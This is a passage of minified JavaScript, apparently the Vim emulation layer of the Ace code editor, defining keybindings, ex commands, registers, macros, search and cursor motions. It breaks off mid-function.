de\",isEdit:!0,interlaceInsertRepeat:!0,actionArgs:{after:!1},context:\"normal\"},{keys:\"v\",type:\"action\",action:\"toggleVisualMode\"},{keys:\"V\",type:\"action\",action:\"toggleVisualMode\",actionArgs:{linewise:!0}},{keys:\"<C-v>\",type:\"action\",action:\"toggleVisualMode\",actionArgs:{blockwise:!0}},{keys:\"gv\",type:\"action\",action:\"reselectLastSelection\"},{keys:\"J\",type:\"action\",action:\"joinLines\",isEdit:!0},{keys:\"p\",type:\"action\",action:\"paste\",isEdit:!0,actionArgs:{after:!0,isEdit:!0}},{keys:\"P\",type:\"action\",action:\"paste\",isEdit:!0,actionArgs:{after:!1,isEdit:!0}},{keys:\"r<character>\",type:\"action\",action:\"replace\",isEdit:!0},{keys:\"@<character>\",type:\"action\",action:\"replayMacro\"},{keys:\"q<character>\",type:\"action\",action:\"enterMacroRecordMode\"},{keys:\"R\",type:\"action\",action:\"enterInsertMode\",isEdit:!0,actionArgs:{replace:!0}},{keys:\"u\",type:\"action\",action:\"undo\",context:\"normal\"},{keys:\"u\",type:\"operator\",operator:\"changeCase\",operatorArgs:{toLower:!0},context:\"visual\",isEdit:!0},{keys:\"U\",type:\"operator\",operator:\"changeCase\",operatorArgs:{toLower:!1},context:\"visual\",isEdit:!0},{keys:\"<C-r>\",type:\"action\",action:\"redo\"},{keys:\"m<character>\",type:\"action\",action:\"setMark\"},{keys:'\"<character>',type:\"action\",action:\"setRegister\"},{keys:\"zz\",type:\"action\",action:\"scrollToCursor\",actionArgs:{position:\"center\"}},{keys:\"z.\",type:\"action\",action:\"scrollToCursor\",actionArgs:{position:\"center\"},motion:\"moveToFirstNonWhiteSpaceCharacter\"},{keys:\"zt\",type:\"action\",action:\"scrollToCursor\",actionArgs:{position:\"top\"}},{keys:\"z<CR>\",type:\"action\",action:\"scrollToCursor\",actionArgs:{position:\"top\"},motion:\"moveToFirstNonWhiteSpaceCharacter\"},{keys:\"z-\",type:\"action\",action:\"scrollToCursor\",actionArgs:{position:\"bottom\"}},{keys:\"zb\",type:\"action\",action:\"scrollToCursor\",actionArgs:{position:\"bottom\"},motion:\"moveToFirstNonWhiteSpaceCharacter\"},{keys:\".\",type:\"action\",action:\"repeatLastEdit\"},{keys:\"<C-a>\",type:\"action\",action:\"incrementNumberToken\",isEdit:!0,actionArgs:{increase:!0,backtrack:!1}},{keys:\"<C-x>\",type:\"action\",action:\"incrementNumberToken\",isEdit:!0,actionArgs:{increase:!1,backtrack:!1}},{keys:\"a<character>\",type:\"motion\",motion:\"textObjectManipulation\"},{keys:\"i<character>\",type:\"motion\",motion:\"textObjectManipulation\",motionArgs:{textObjectInner:!0}},{keys:\"/\",type:\"search\",searchArgs:{forward:!0,querySrc:\"prompt\",toJumplist:!0}},{keys:\"?\",type:\"search\",searchArgs:{forward:!1,querySrc:\"prompt\",toJumplist:!0}},{keys:\"*\",type:\"search\",searchArgs:{forward:!0,querySrc:\"wordUnderCursor\",wholeWordOnly:!0,toJumplist:!0}},{keys:\"#\",type:\"search\",searchArgs:{forward:!1,querySrc:\"wordUnderCursor\",wholeWordOnly:!0,toJumplist:!0}},{keys:\"g*\",type:\"search\",searchArgs:{forward:!0,querySrc:\"wordUnderCursor\",toJumplist:!0}},{keys:\"g#\",type:\"search\",searchArgs:{forward:!1,querySrc:\"wordUnderCursor\",toJumplist:!0}},{keys:\":\",type:\"ex\"}],w=[{name:\"colorscheme\",shortName:\"colo\"},{name:\"map\"},{name:\"imap\",shortName:\"im\"},{name:\"nmap\",shortName:\"nm\"},{name:\"vmap\",shortName:\"vm\"},{name:\"unmap\"},{name:\"write\",shortName:\"w\"},{name:\"undo\",shortName:\"u\"},{name:\"redo\",shortName:\"red\"},{name:\"set\",shortName:\"se\"},{name:\"set\",shortName:\"se\"},{name:\"setlocal\",shortName:\"setl\"},{name:\"setglobal\",shortName:\"setg\"},{name:\"sort\",shortName:\"sor\"},{name:\"substitute\",shortName:\"s\",possiblyAsync:!0},{name:\"nohlsearch\",shortName:\"noh\"},{name:\"delmarks\",shortName:\"delm\"},{name:\"registers\",shortName:\"reg\",excludeFromCommandHistory:!0},{name:\"global\",shortName:\"g\"}],E=v.Pos,S=function(){return st};v.defineOption(\"vimMode\",!1,function(e,t,n){t&&e.getOption(\"keyMap\")!=\"vim\"?e.setOption(\"keyMap\",\"vim\"):!t&&n!=v.Init&&/^vim/.test(e.getOption(\"keyMap\"))&&e.setOption(\"keyMap\",\"default\")});var L={Shift:\"S\",Ctrl:\"C\",Alt:\"A\",Cmd:\"D\",Mod:\"A\"},A={Enter:\"CR\",Backspace:\"BS\",Delete:\"Del\"},_=/[\\d]/,D=[v.isWordChar,function(e){return e&&!v.isWordChar(e)&&!/\\s/.test(e)}],P=[function(e){return/\\S/.test(e)}],B=H(65,26),j=H(97,26),F=H(48,10),I=[].concat(B,j,F,[\"<\",\">\"]),q=[].concat(B,j,F,[\"-\",'\"',\".\",\":\",\"/\"]),J={};K(\"filetype\",undefined,\"string\",[\"ft\"],function(e,t){if(t===undefined)return;if(e===undefined){var n=t.getOption(\"mode\");return n==\"null\"?\"\":n}var n=e==\"\"?\"null\":e;t.setOption(\"mode\",n)});var Y=function(){function s(s,o,u){function l(n){var r=++t%e,o=i[r];o&&o.clear(),i[r]=s.setBookmark(n)}var a=t%e,f=i[a];if(f){var c=f.find();c&&!At(c,o)&&l(o)}else l(o);l(u),n=t,r=t-e+1,r<0&&(r=0)}function o(s,o){t+=o,t>n?t=n:t<r&&(t=r);var u=i[(e+t)%e];if(u&&!u.find()){var a=o>0?1:-1,f,l=s.getCursor();do{t+=a,u=i[(e+t)%e];if(u&&(f=u.find())&&!At(l,f))break}while(t<n&&t>r)}return u}var e=100,t=-1,n=0,r=0,i=new Array(e);return{cachedCursor:undefined,add:s,move:o}},Z=function(e){return e?{changes:e.changes,expectCursorActivityForChange:e.expectCursorActivityForChange}:{changes:[],expectCursorActivityForChange:!1}};et.prototype={exitMacroRecordMode:function(){var e=nt.macroModeState;e.onRecordingDone&&e.onRecordingDone(),e.onRecordingDone=undefined,e.isRecording=!1},enterMacroRecordMode:function(e,t){var n=nt.registerController.getRegister(t);n&&(n.clear(),this.latestRegister=t,e.openDialog&&(this.onRecordingDone=e.openDialog(\"(recording)[\"+t+\"]\",null,{bottom:!0})),this.isRecording=!0)}};var nt,it,st={buildKeyMap:function(){},getRegisterController:function(){return nt.registerController},resetVimGlobalState_:rt,getVimGlobalState_:function(){return nt},maybeInitVimState_:tt,suppressErrorLogging:!1,InsertModeKey:Gn,map:function(e,t,n){Fn.map(e,t,n)},unmap:function(e,t){Fn.unmap(e,t||\"normal\")},setOption:Q,getOption:G,defineOption:K,defineEx:function(e,t,n){if(!t)t=e;else if(e.indexOf(t)!==0)throw new Error('(Vim.defineEx) \"'+t+'\" is not a prefix of \"'+e+'\", command not registered');jn[e]=n,Fn.commandMap_[t]={name:e,shortName:t,type:\"api\"}},handleKey:function(e,t,n){var r=this.findKey(e,t,n);if(typeof r==\"function\")return r()},findKey:function(e,t,n){function i(){var r=nt.macroModeState;if(r.isRecording){if(t==\"q\")return r.exitMacroRecordMode(),ut(e),!0;n!=\"mapping\"&&Wn(r,t)}}function s(){if(t==\"<Esc>\")return ut(e),r.visualMode?$t(e):r.insertMode&&qn(e),!0}function o(n){var r;while(n)r=/<\\w+-.+?>|<\\w+>|./.exec(n),t=r[0],n=n.substring(r.index+t.length),v.Vim.handleKey(e,t,\"mapping\")}function u(){if(s())return!0;var n=r.inputState.keyBuffer=r.inputState.keyBuffer+t,i=t.length==1,o=ht.matchCommand(n,b,r.inputState,\"insert\");while(n.length>1&&o.type!=\"full\"){var n=r.inputState.keyBuffer=n.slice(1),u=ht.matchCommand(n,b,r.inputState,\"insert\");u.type!=\"none\"&&(o=u)}if(o.type==\"none\")return ut(e),!1;if(o.type==\"partial\")return it&&window.clearTimeout(it),it=window.setTimeout(function(){r.insertMode&&r.inputState.keyBuffer&&ut(e)},G(\"insertModeEscKeysTimeout\")),!i;it&&window.clearTimeout(it);if(i){var a=e.getCursor();e.replaceRange(\"\",St(a,0,-(n.length-1)),a,\"+input\")}return ut(e),o.command}function a(){if(i()||s())return!0;var n=r.inputState.keyBuffer=r.inputState.keyBuffer+t;if(/^[1-9]\\d*$/.test(n))return!0;var o=/^(\\d*)(.*)$/.exec(n);if(!o)return ut(e),!1;var u=r.visualMode?\"visual\":\"normal\",a=ht.matchCommand(o[2]||o[1],b,r.inputState,u);if(a.type==\"none\")return ut(e),!1;if(a.type==\"partial\")return!0;r.inputState.keyBuffer=\"\";var o=/^(\\d*)(.*)$/.exec(n);return o[1]&&o[1]!=\"0\"&&r.inputState.pushRepeatDigit(o[1]),a.command}var r=tt(e),f;return r.insertMode?f=u():f=a(),f===!1?undefined:f===!0?function(){}:function(){if((f.operator||f.isEdit)&&e.getOption(\"readOnly\"))return;return e.operation(function(){e.curOp.isVimOp=!0;try{f.type==\"keyToKey\"?o(f.toKeys):ht.processCommand(e,r,f)}catch(t){throw e.state.vim=undefined,tt(e),v.Vim.suppressErrorLogging||console.log(t),t}return!0})}},handleEx:function(e,t){Fn.processCommand(e,t)},defineMotion:dt,defineAction:bt,defineOperator:gt,mapCommand:Un,_mapCommand:Rn,defineRegister:ft,exitVisualMode:$t,exitInsertMode:qn};ot.prototype.pushRepeatDigit=function(e){this.operator?this.motionRepeat=this.motionRepeat.concat(e):this.prefixRepeat=this.prefixRepeat.concat(e)},ot.prototype.getRepeat=function(){var e=0;if(this.prefixRepeat.length>0||this.motionRepeat.length>0)e=1,this.prefixRepeat.length>0&&(e*=parseInt(this.prefixRepeat.join(\"\"),10)),this.motionRepeat.length>0&&(e*=parseInt(this.motionRepeat.join(\"\"),10));return e},at.prototype={setText:function(e,t,n){this.keyBuffer=[e||\"\"],this.linewise=!!t,this.blockwise=!!n},pushText:function(e,t){t&&(this.linewise||this.keyBuffer.push(\"\\n\"),this.linewise=!0),this.keyBuffer.push(e)},pushInsertModeChanges:function(e){this.insertModeChanges.push(Z(e))},pushSearchQuery:function(e){this.searchQueries.push(e)},clear:function(){this.keyBuffer=[],this.insertModeChanges=[],this.searchQueries=[],this.linewise=!1},toString:function(){return this.keyBuffer.join(\"\")}},lt.prototype={pushText:function(e,t,n,r,i){r&&n.charAt(0)==\"\\n\"&&(n=n.slice(1)+\"\\n\"),r&&n.charAt(n.length-1)!==\"\\n\"&&(n+=\"\\n\");var s=this.isValidRegister(e)?this.getRegister(e):null;if(!s){switch(t){case\"yank\":this.registers[0]=new at(n,r,i);break;case\"delete\":case\"change\":n.indexOf(\"\\n\")==-1?this.registers[\"-\"]=new at(n,r):(this.shiftNumericRegisters_(),this.registers[1]=new at(n,r))}this.unnamedRegister.setText(n,r,i);return}var o=X(e);o?s.pushText(n,r):s.setText(n,r,i),this.unnamedRegister.setText(s.toString(),r)},getRegister:function(e){return this.isValidRegister(e)?(e=e.toLowerCase(),this.registers[e]||(this.registers[e]=new at),this.registers[e]):this.unnamedRegister},isValidRegister:function(e){return e&&$(e,q)},shiftNumericRegisters_:function(){for(var e=9;e>=2;e--)this.registers[e]=this.getRegister(\"\"+(e-1))}},ct.prototype={nextMatch:function(e,t){var n=this.historyBuffer,r=t?-1:1;this.initialPrefix===null&&(this.initialPrefix=e);for(var i=this.iterator+r;t?i>=0:i<n.length;i+=r){var s=n[i];for(var o=0;o<=s.length;o++)if(this.initialPrefix==s.substring(0,o))return this.iterator=i,s}if(i>=n.length)return this.iterator=n.length,this.initialPrefix;if(i<0)return e},pushInput:function(e){var t=this.historyBuffer.indexOf(e);t>-1&&this.historyBuffer.splice(t,1),e.length&&this.historyBuffer.push(e)},reset:function(){this.initialPrefix=null,this.iterator=this.historyBuffer.length}};var ht={matchCommand:function(e,t,n,r){var i=Tt(e,t,r,n);if(!i.full&&!i.partial)return{type:\"none\"};if(!i.full&&i.partial)return{type:\"partial\"};var s;for(var o=0;o<i.full.length;o++){var u=i.full[o];s||(s=u)}return s.keys.slice(-11)==\"<character>\"&&(n.selectedCharacter=Ct(e)),{type:\"full\",command:s}},processCommand:function(e,t,n){t.inputState.repeatOverride=n.repeatOverride;switch(n.type){case\"motion\":this.processMotion(e,t,n);break;case\"operator\":this.processOperator(e,t,n);break;case\"operatorMotion\":this.processOperatorMotion(e,t,n);break;case\"action\":this.processAction(e,t,n);break;case\"search\":this.processSearch(e,t,n);break;case\"ex\":case\"keyToEx\":this.processEx(e,t,n);break;default:}},processMotion:function(e,t,n){t.inputState.motion=n.motion,t.inputState.motionArgs=Et(n.motionArgs),this.evalInput(e,t)},processOperator:function(e,t,n){var r=t.inputState;if(r.operator){if(r.operator==n.operator){r.motion=\"expandToLine\",r.motionArgs={linewise:!0},this.evalInput(e,t);return}ut(e)}r.operator=n.operator,r.operatorArgs=Et(n.operatorArgs),t.visualMode&&this.evalInput(e,t)},processOperatorMotion:function(e,t,n){var r=t.visualMode,i=Et(n.operatorMotionArgs);i&&r&&i.visualLine&&(t.visualLine=!0),this.processOperator(e,t,n),r||this.processMotion(e,t,n)},processAction:function(e,t,n){var r=t.inputState,i=r.getRepeat(),s=!!i,o=Et(n.actionArgs)||{};r.selectedCharacter&&(o.selectedCharacter=r.selectedCharacter),n.operator&&this.processOperator(e,t,n),n.motion&&this.processMotion(e,t,n),(n.motion||n.operator)&&this.evalInput(e,t),o.repeat=i||1,o.repeatIsExplicit=s,o.registerName=r.registerName,ut(e),t.lastMotion=null,n.isEdit&&this.recordLastEdit(t,r,n),yt[n.action](e,o,t)},processSearch:function(e,t,n){function a(r,i,s){nt.searchHistoryController.pushInput(r),nt.searchHistoryController.reset();try{An(e,r,i,s)}catch(o){Tn(e,\"Invalid regex: \"+r),ut(e);return}ht.processMotion(e,t,{type:\"motion\",motion:\"findNext\",motionArgs:{forward:!0,toJumplist:n.searchArgs.toJumplist}})}function f(t){e.scrollTo(u.left,u.top),a(t,!0,!0);var n=nt.macroModeState;n.isRecording&&Vn(n,t)}function l(t,n,i){var s=v.keyName(t),o;s==\"Up\"||s==\"Down\"?(o=s==\"Up\"?!0:!1,n=nt.searchHistoryController.nextMatch(n,o)||\"\",i(n)):s!=\"Left\"&&s!=\"Right\"&&s!=\"Ctrl\"&&s!=\"Alt\"&&s!=\"Shift\"&&nt.searchHistoryController.reset();var a;try{a=An(e,n,!0,!0)}catch(t){}a?e.scrollIntoView(_n(e,!r,a),30):(Dn(e),e.scrollTo(u.left,u.top))}function c(t,n,r){var i=v.keyName(t);i==\"Esc\"||i==\"Ctrl-C\"||i==\"Ctrl-[\"||i==\"Backspace\"&&n==\"\"?(nt.searchHistoryController.pushInput(n),nt.searchHistoryController.reset(),An(e,o),Dn(e),e.scrollTo(u.left,u.top),v.e_stop(t),ut(e),r(),e.focus()):i==\"Ctrl-U\"&&(v.e_stop(t),r(\"\"))}if(!e.getSearchCursor)return;var r=n.searchArgs.forward,i=n.searchArgs.wholeWordOnly;dn(e).setReversed(!r);var s=r?\"/\":\"?\",o=dn(e).getQuery(),u=e.getScrollInfo();switch(n.searchArgs.querySrc){case\"prompt\":var h=nt.macroModeState;if(h.isPlaying){var p=h.replaySearchQueries.shift();a(p,!0,!1)}else kn(e,{onClose:f,prefix:s,desc:Cn,onKeyUp:l,onKeyDown:c});break;case\"wordUnderCursor\":var d=Gt(e,!1,!0,!1,!0),m=!0;d||(d=Gt(e,!1,!0,!1,!1),m=!1);if(!d)return;var p=e.getLine(d.start.line).substring(d.start.ch,d.end.ch);m&&i?p=\"\\\\b\"+p+\"\\\\b\":p=Bt(p),nt.jumpList.cachedCursor=e.getCursor(),e.setCursor(d.start),a(p,!0,!1)}},processEx:function(e,t,n){function r(t){nt.exCommandHistoryController.pushInput(t),nt.exCommandHistoryController.reset(),Fn.processCommand(e,t)}function i(t,n,r){var i=v.keyName(t),s;if(i==\"Esc\"||i==\"Ctrl-C\"||i==\"Ctrl-[\"||i==\"Backspace\"&&n==\"\")nt.exCommandHistoryController.pushInput(n),nt.exCommandHistoryController.reset(),v.e_stop(t),ut(e),r(),e.focus();i==\"Up\"||i==\"Down\"?(s=i==\"Up\"?!0:!1,n=nt.exCommandHistoryController.nextMatch(n,s)||\"\",r(n)):i==\"Ctrl-U\"?(v.e_stop(t),r(\"\")):i!=\"Left\"&&i!=\"Right\"&&i!=\"Ctrl\"&&i!=\"Alt\"&&i!=\"Shift\"&&nt.exCommandHistoryController.reset()}n.type==\"keyToEx\"?Fn.processCommand(e,n.exArgs.input):t.visualMode?kn(e,{onClose:r,prefix:\":\",value:\"'<,'>\",onKeyDown:i}):kn(e,{onClose:r,prefix:\":\",onKeyDown:i})},evalInput:function(e,t){var n=t.inputState,r=n.motion,i=n.motionArgs||{},s=n.operator,o=n.operatorArgs||{},u=n.registerName,a=t.sel,f=Lt(t.visualMode?wt(e,a.head):e.getCursor(\"head\")),l=Lt(t.visualMode?wt(e,a.anchor):e.getCursor(\"anchor\")),c=Lt(f),h=Lt(l),p,d,v;s&&this.recordLastEdit(t,n),n.repeatOverride!==undefined?v=n.repeatOverride:v=n.getRepeat();if(v>0&&i.explicitRepeat)i.repeatIsExplicit=!0;else if(i.noRepeat||!i.explicitRepeat&&v===0)v=1,i.repeatIsExplicit=!1;n.selectedCharacter&&(i.selectedCharacter=o.selectedCharacter=n.selectedCharacter),i.repeat=v,ut(e);if(r){var m=pt[r](e,f,i,t);t.lastMotion=pt[r];if(!m)return;if(i.toJumplist){s||(e.ace.curOp.command.scrollIntoView=\"center-animate\");var g=nt.jumpList,y=g.cachedCursor;y?(Yt(e,y,m),delete g.cachedCursor):Yt(e,f,m)}m instanceof Array?(d=m[0],p=m[1]):p=m,p||(p=Lt(f));if(t.visualMode){if(!t.visualBlock||p.ch!==Infinity)p=wt(e,p,t.visualBlock);d&&(d=wt(e,d,!0)),d=d||h,a.anchor=d,a.head=p,Wt(e),an(e,t,\"<\",Ot(d,p)?d:p),an(e,t,\">\",Ot(d,p)?p:d)}else s||(p=wt(e,p),e.setCursor(p.line,p.ch))}if(s){if(o.lastSel){d=h;var b=o.lastSel,w=Math.abs(b.head.line-b.anchor.line),S=Math.abs(b.head.ch-b.anchor.ch);b.visualLine?p=E(h.line+w,h.ch):b.visualBlock?p=E(h.line+w,h.ch+S):b.head.line==b.anchor.line?p=E(h.line,h.ch+S):p=E(h.line+w,h.ch),t.visualMode=!0,t.visualLine=b.visualLine,t.visualBlock=b.visualBlock,a=t.sel={anchor:d,head:p},Wt(e)}else t.visualMode&&(o.lastSel={anchor:Lt(a.anchor),head:Lt(a.head),visualBlock:t.visualBlock,visualLine:t.visualLine});var x,T,N,C,k;if(t.visualMode){x=Mt(a.head,a.anchor),T=_t(a.head,a.anchor),N=t.visualLine||o.linewise,C=t.visualBlock?\"block\":N?\"line\":\"char\",k=Xt(e,{anchor:x,head:T},C);if(N){var L=k.ranges;if(C==\"block\")for(var A=0;A<L.length;A++)L[A].head.ch=Pt(e,L[A].head.line);else C==\"line\"&&(L[0].head=E(L[0].head.line+1,0))}}else{x=Lt(d||h),T=Lt(p||c);if(Ot(T,x)){var O=x;x=T,T=O}N=i.linewise||o.linewise,N?Kt(e,x,T):i.forward&&Jt(e,x,T),C=\"char\";var M=!i.inclusive||N;k=Xt(e,{anchor:x,head:T},C,M)}e.setSelections(k.ranges,k.primary),t.lastMotion=null,o.repeat=v,o.registerName=u,o.linewise=N;var _=mt[s](e,o,k.ranges,h,p);t.visualMode&&$t(e,_!=null),_&&e.setCursor(_)}},recordLastEdit:function(e,t,n){var r=nt.macroModeState;if(r.isPlaying)return;e.lastEditInputState=t,e.lastEditActionCommand=n,r.lastInsertModeChanges.changes=[],r.lastInsertModeChanges.expectCursorActivityForChange=!1}},pt={moveToTopLine:function(e,t,n){var r=Hn(e).top+n.repeat-1;return E(r,Qt(e.getLine(r)))},moveToMiddleLine:function(e){var t=Hn(e),n=Math.floor((t.top+t.bottom)*.5);return E(n,Qt(e.getLine(n)))},moveToBottomLine:function(e,t,n){var r=Hn(e).bottom-n.repeat+1;return E(r,Qt(e.getLine(r)))},expandToLine:function(e,t,n){var r=t;return E(r.line+n.repeat-1,Infinity)},findNext:function(e,t,n){var r=dn(e),i=r.getQuery();if(!i)return;var s=!n.forward;return s=r.isReversed()?!s:s,Mn(e,i),_n(e,s,i,n.repeat)},goToMark:function(e,t,n,r){var i=r.marks[n.selectedCharacter];if(i){var s=i.find();return n.linewise?{line:s.line,ch:Qt(e.getLine(s.line))}:s}return null},moveToOtherHighlightedEnd:function(e,t,n,r){if(r.visualBlock&&n.sameLine){var i=r.sel;return[wt(e,E(i.anchor.line,i.head.ch)),wt(e,E(i.head.line,i.anchor.ch))]}return[r.sel.head,r.sel.anchor]},jumpToMark:function(e,t,n,r){var i=t;for(var s=0;s<n.repeat;s++){var o=i;for(var u in r.marks){if(!U(u))continue;var a=r.marks[u].find(),f=n.forward?Ot(a,o):Ot(o,a);if(f)continue;if(n.linewise&&a.line==o.line)continue;var l=At(o,i),c=n.forward?Dt(o,a,i):Dt(i,a,o);if(l||c)i=a}}return n.linewise&&(i=E(i.line,Qt(e.getLine(i.line)))),i},moveByCharacters:function(e,t,n){var r=t,i=n.repeat,s=n.forward?r.ch+i:r.ch-i;return E(r.line,s)},moveByLines:function(e,t,n,r){var i=t,s=i.ch;switch(r.lastMotion){case this.moveByLines:case this.moveByDisplayLines:case this.moveByScroll:case this.moveToColumn:case this.moveToEol:s=r.lastHPos;break;default:r.lastHPos=s}var o=n.repeat+(n.repeatOffset||0),u=n.forward?i.line+o:i.line-o,a=e.firstLine(),f=e.lastLine();if(u<a&&i.line==a||u>f&&i.line==f)return;var l=e.ace.session.getFoldAt(u,s);return l&&(n.forward?u=l.end.row+1:u=l.start.row-1),n.toFirstChar&&(s=Qt(e.getLine(u)),r.lastHPos=s),r.lastHSPos=e.charCoords(E(u,s),\"div\").left,E(u,s)},moveByDisplayLines:function(e,t,n,r){var i=t;switch(r.lastMotion){case this.moveByDisplayLines:case this.moveByScroll:case this.moveByLines:case this.moveToColumn:case this.moveToEol:break;default:r.lastHSPos=e.charCoords(i,\"div\").left}var s=n.repeat,o=e.findPosV(i,n.forward?s:-s,\"line\",r.lastHSPos);if(o.hitSide)if(n.forward)var u=e.charCoords(o,\"div\"),a={top:u.top+8,left:r.lastHSPos},o=e.coordsChar(a,\"div\");else{var f=e.charCoords(E(e.firstLine(),0),\"div\");f.left=r.lastHSPos,o=e.coordsChar(f,\"div\")}return r.lastHPos=o.ch,o},moveByPage:function(e,t,n){var r=t,i=n.repeat;return e.findPosV(r,n.forward?i:-i,\"page\")},moveByParagraph:function(e,t,n){var r=n.forward?1:-1;return ln(e,t,n.repeat,r)},moveByScroll:function(e,t,n,r){var i=e.getScrollInfo(),s=null,o=n.repeat;o||(o=i.clientHeight/(2*e.defaultTextHeight()));var u=e.charCoords(t,\"local\");n.repeat=o;var s=pt.moveByDisplayLines(e,t,n,r);if(!s)return null;var a=e.charCoords(s,\"local\");return e.scrollTo(null,i.top+a.top-u.top),s},moveByWords:function(e,t,n){return sn(e,t,n.repeat,!!n.forward,!!n.wordEnd,!!n.bigWord)},moveTillCharacter:function(e,t,n){var r=n.repeat,i=on(e,r,n.forward,n.selectedCharacter),s=n.forward?-1:1;return Zt(s,n),i?(i.ch+=s,i):null},moveToCharacter:function(e,t,n){var r=n.repeat;return Zt(0,n),on(e,r,n.forward,n.selectedCharacter)||t},moveToSymbol:function(e,t,n){var r=n.repeat;return nn(e,r,n.forward,n.selectedCharacter)||t},moveToColumn:function(e,t,n,r){var i=n.repeat;return r.lastHPos=i-1,r.lastHSPos=e.charCoords(t,\"div\").left,un(e,i)},moveToEol:function(e,t,n,r){var i=t;r.lastHPos=Infinity;var s=E(i.line+n.repeat-1,Infinity),o=e.clipPos(s);return o.ch--,r.lastHSPos=e.charCoords(o,\"div\").left,s},moveToFirstNonWhiteSpaceCharacter:function(e,t){var n=t;return E(n.line,Qt(e.getLine(n.line)))},moveToMatchedSymbol:function(e,t){var n=t,r=n.line,i=n.ch,s=e.getLine(r),o;do{o=s.charAt(i++);if(o&&z(o)){var u=e.getTokenTypeAt(E(r,i));if(u!==\"string\"&&u!==\"comment\")break}}while(o);if(o){var a=e.findMatchingBracket(E(r,i));return a.to}return n},moveToStartOfLine:function(e,t){return E(t.line,0)},moveToLineOrEdgeOfDocument:function(e,t,n){var r=n.forward?e.lastLine():e.firstLine();return n.repeatIsExplicit&&(r=n.repeat-e.getOption(\"firstLineNumber\")),E(r,Qt(e.getLine(r)))},textObjectManipulation:function(e,t,n,r){var i={\"(\":\")\",\")\":\"(\",\"{\":\"}\",\"}\":\"{\",\"[\":\"]\",\"]\":\"[\"},s={\"'\":!0,'\"':!0},o=n.selectedCharacter;o==\"b\"?o=\"(\":o==\"B\"&&(o=\"{\");var u=!n.textObjectInner,a;if(i[o])a=cn(e,t,o,u);else if(s[o])a=hn(e,t,o,u);else if(o===\"W\")a=Gt(e,u,!0,!0);else if(o===\"w\")a=Gt(e,u,!0,!1);else{if(o!==\"p\")return null;a=ln(e,t,n.repeat,0,u),n.linewise=!0;if(r.visualMode)r.visualLine||(r.visualLine=!0);else{var f=r.inputState.operatorArgs;f&&(f.linewise=!0),a.end.line--}}return e.state.vim.visualMode?zt(e,a.start,a.end):[a.start,a.end]},repeatLastCharacterSearch:function(e,t,n){var r=nt.lastChararacterSearch,i=n.repeat,s=n.forward===r.forward,o=(r.increment?1:0)*(s?-1:1);e.moveH(-o,\"char\"),n.inclusive=s?!0:!1;var u=on(e,i,s,r.selectedCharacter);return u?(u.ch+=o,u):(e.moveH(o,\"char\"),t)}},mt={change:function(e,t,n){var r,i,s=e.state.vim;nt.macroModeState.lastInsertModeChanges.inVisualBlock=s.visualBlock;if(!s.visualMode){var o=n[0].anchor,u=n[0].head;i=e.getRange(o,u);var a=s.lastEditInputState||{};if(a.motion==\"moveByWords\"&&!V(i)){var f=/\\s+$/.exec(i);f&&a.motionArgs&&a.motionArgs.forward&&(u=St(u,0,-f[0].length),i=i.slice(0,-f[0].length))}var l=u.line-1==e.lastLine();e.replaceRange(\"\",o,u),t.linewise&&!l&&(v.commands.newlineAndIndent(e),o.ch=null),r=o}else{i=e.getSelection();var c=vt(\"\",n.length);e.replaceSelections(c),r=Mt(n[0].head,n[0].anchor)}nt.registerController.pushText(t.registerName,\"change\",i,t.linewise,n.length>1),yt.enterInsertMode(e,{head:r},e.state.vim)},\"delete\":function(e,t,n){var r,i,s=e.state.vim;if(!s.visualBlock){var o=n[0].anchor,u=n[0].head;t.linewise&&u.line!=e.firstLine()&&o.line==e.lastLine()&&o.line==u.line-1&&(o.line==e.firstLine()?o.ch=0:o=E(o.line-1,Pt(e,o.line-1))),i=e.getRange(o,u),e.replaceRange(\"\",o,u),r=o,t.linewise&&(r=pt.moveToFirstNonWhiteSpaceCharacter(e,o))}else{i=e.getSelection();var a=vt(\"\",n.length);e.replaceSelections(a),r=n[0].anchor}return nt.registerController.pushText(t.registerName,\"delete\",i,t.linewise,s.visualBlock),wt(e,r)},indent:function(e,t,n){var r=e.state.vim,i=n[0].anchor.line,s=r.visualBlock?n[n.length-1].anchor.line:n[0].head.line,o=r.visualMode?t.repeat:1;t.linewise&&s--;for(var u=i;u<=s;u++)for(var a=0;a<o;a++)e.indentLine(u,t.indentRight);return pt.moveToFirstNonWhiteSpaceCharacter(e,n[0].anchor)},changeCase:function(e,t,n,r,i){var s=e.getSelections(),o=[],u=t.toLower;for(var a=0;a<s.length;a++){var f=s[a],l=\"\";if(u===!0)l=f.toLowerCase();else if(u===!1)l=f.toUpperCase();else for(var c=0;c<f.length;c++){var h=f.charAt(c);l+=X(h)?h.toLowerCase():h.toUpperCase()}o.push(l)}return e.replaceSelections(o),t.shouldMoveCursor?i:!e.state.vim.visualMode&&t.linewise&&n[0].anchor.line+1==n[0].head.line?pt.moveToFirstNonWhiteSpaceCharacter(e,r):t.linewise?r:Mt(n[0].anchor,n[0].head)},yank:function(e,t,n,r){var i=e.state.vim,s=e.getSelection(),o=i.visualMode?Mt(i.sel.anchor,i.sel.head,n[0].head,n[0].anchor):r;return nt.registerController.pushText(t.registerName,\"yank\",s,t.linewise,i.visualBlock),o}},yt={jumpListWalk:function(e,t,n){if(n.visualMode)return;var r=t.repeat,i=t.forward,s=nt.jumpList,o=s.move(e,i?r:-r),u=o?o.find():undefined;u=u?u:e.getCursor(),e.setCursor(u),e.ace.curOp.command.scrollIntoView=\"center-animate\"},scroll:function(e,t,n){if(n.visualMode)return;var r=t.repeat||1,i=e.defaultTextHeight(),s=e.getScrollInfo().top,o=i*r,u=t.forward?s+o:s-o,a=Lt(e.getCursor()),f=e.charCoords(a,\"local\");if(t.forward)u>f.top?(a.line+=(u-f.top)/i,a.line=Math.ceil(a.line),e.setCursor(a),f=e.charCoords(a,\"local\"),e.scrollTo(null,f.top)):e.scrollTo(null,u);else{var l=u+e.getScrollInfo().clientHeight;l<f.bottom?(a.line-=(f.bottom-l)/i,a.line=Math.floor(a.line),e.setCursor(a),f=e.charCoords(a,\"local\"),e.scrollTo(null,f.bottom-e.getScrollInfo().clientHeight)):e.scrollTo(null,u)}},scrollToCursor:function(e,t){var n=e.getCursor().line,r=e.charCoords(E(n,0),\"local\"),i=e.getScrollInfo().clientHeight,s=r.top,o=r.bottom-s;switch(t.position){case\"center\":s=s-i/2+o;break;case\"bottom\":s=s-i+o*1.4;break;case\"top\":s+=o*.4}e.scrollTo(null,s)},replayMacro:function(e,t,n){var r=t.selectedCharacter,i=t.repeat,s=nt.macroModeState;r==\"@\"&&(r=s.latestRegister);while(i--)zn(e,n,s,r)},enterMacroRecordMode:function(e,t){var 